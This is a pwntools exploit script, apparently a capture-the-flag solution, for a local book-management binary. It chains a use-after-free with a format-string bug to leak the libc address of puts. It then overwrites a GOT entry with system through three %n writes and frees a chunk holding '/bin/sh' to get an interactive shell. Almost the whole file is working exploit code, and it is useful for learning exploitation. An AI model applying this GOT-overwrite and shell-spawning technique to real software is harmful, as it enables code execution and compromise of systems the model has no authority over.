from pwn import *

target = process('./challenge')
libc = ELF('./libc-2.27.so')# If you have a different libc version, swap it out here
#gdb.attach(target)

# function to add books
def addBook(size, price, payload):
    target.sendline('1')
    target.sendline(str(size))
    target.send(payload)
    target.sendline(str(price))
    print target.recvuntil('>')

# function to add books with a null byte in it's name
# for some reason, we need to send an additional byte 
def addBookSpc(size, price, payload):
	target.sendline("1")
	target.sendline(str(size))
	target.sendline(payload)
	target.sendline("7")
	target.recvuntil(">")

# this is a function to delete books
def deleteBook(index):
    target.sendline('2')
    target.sendline(str(index))
    target.recvuntil('>')

# add a bunch of books to use late with the use after free
addBook(50, 5, "0"*50)
addBook(50, 5, "1"*50)
addBook(50, 5, "2"*50)
addBook(50, 5, "3"*50)
addBook(50, 5, "4"*50)
addBook(50, 5, "5"*50)
addBook(50, 5, "6"*50)
addBookSpc(50, 5, "/bin/sh\x00") # this book will contain the "/bin/sh" string to pass a pointer to free
addBook(50, 5, "8"*50)
addBook(50, 5, "9"*50)
addBook(50, 5, "x"*50)
addBook(50, 5, "y"*50)
addBook(50, 5, "9"*50)
addBook(50, 5, "q"*50)


# delete the books, to setup the use after free
deleteBook(0)
deleteBook(1)
deleteBook(2)
deleteBook(3)
deleteBook(4)
deleteBook(5)
deleteBook(6)
deleteBook(7)
deleteBook(8)
deleteBook(9)
deleteBook(10)
deleteBook(11)
deleteBook(12)
deleteBook(13)
deleteBook(14)


# This is the initial overflow of a pointer with the got address of `puts` to get the libc infoleak
addBookSpc(50, 5, "15935728"*1 + p64(0x602028) + "z"*8 + "%7$lx.")

# Display all of the books, to get the libc infoleak
target.sendline('3')

# Filter out the infoleak
print target.recvuntil('{')
print target.recvuntil('{')
print target.recvuntil('{')
print target.recvuntil('{')

print target.recvuntil("\"name\": \"")

leak = target.recvuntil("\"")
leak = leak.replace("\"", "")
print "leak is: " + str(leak)
leak = u64(leak + "\x00"*(8 - len(leak)))

# Subtract the offset to system from puts from the infoleak, to get the libc address of system
libcBase = leak - libc.symbols['puts']
system = libcBase + libc.symbols['system']

print "system address: " + hex(leak)

# do a bit of binary math to get the 
part0 = str(system & 0xffff)
part1 = str(((system & 0xffff0000) >> 16)) 
part2 = str(((system & 0xffff00000000) >> 32))

print "part 0: " + hex(int(part0))
print "part 1: " + hex(int(part1))
print "part 2: " + hex(int(part2))


# Add the three books to do the format string
# We need the 0x602028 address still to not cause a segfault when it prints
# the got address we are trying to overwrite is at 0x602018

addBookSpc("50", "5", p64(0x60201a) + p64(0x602028) + "z"*8 + "%" + part1 + "x%7$n")
addBookSpc("50", "5", p64(0x602018) + p64(0x602028) + "z"*8 + "%" + part0 + "x%7$n")
addBookSpc("50", "5", p64(0x60201c) + p64(0x602028) + "z"*8 + "%" + part2 + "x%7$n")

# Print the books to execute the format string write
target.sendline('3')

# Free the book with "/bin/sh" to pass a pointer to "/bin/sh" to system
target.sendline('2')
target.sendline('7')

# Drop to an interactive shell
target.interactive()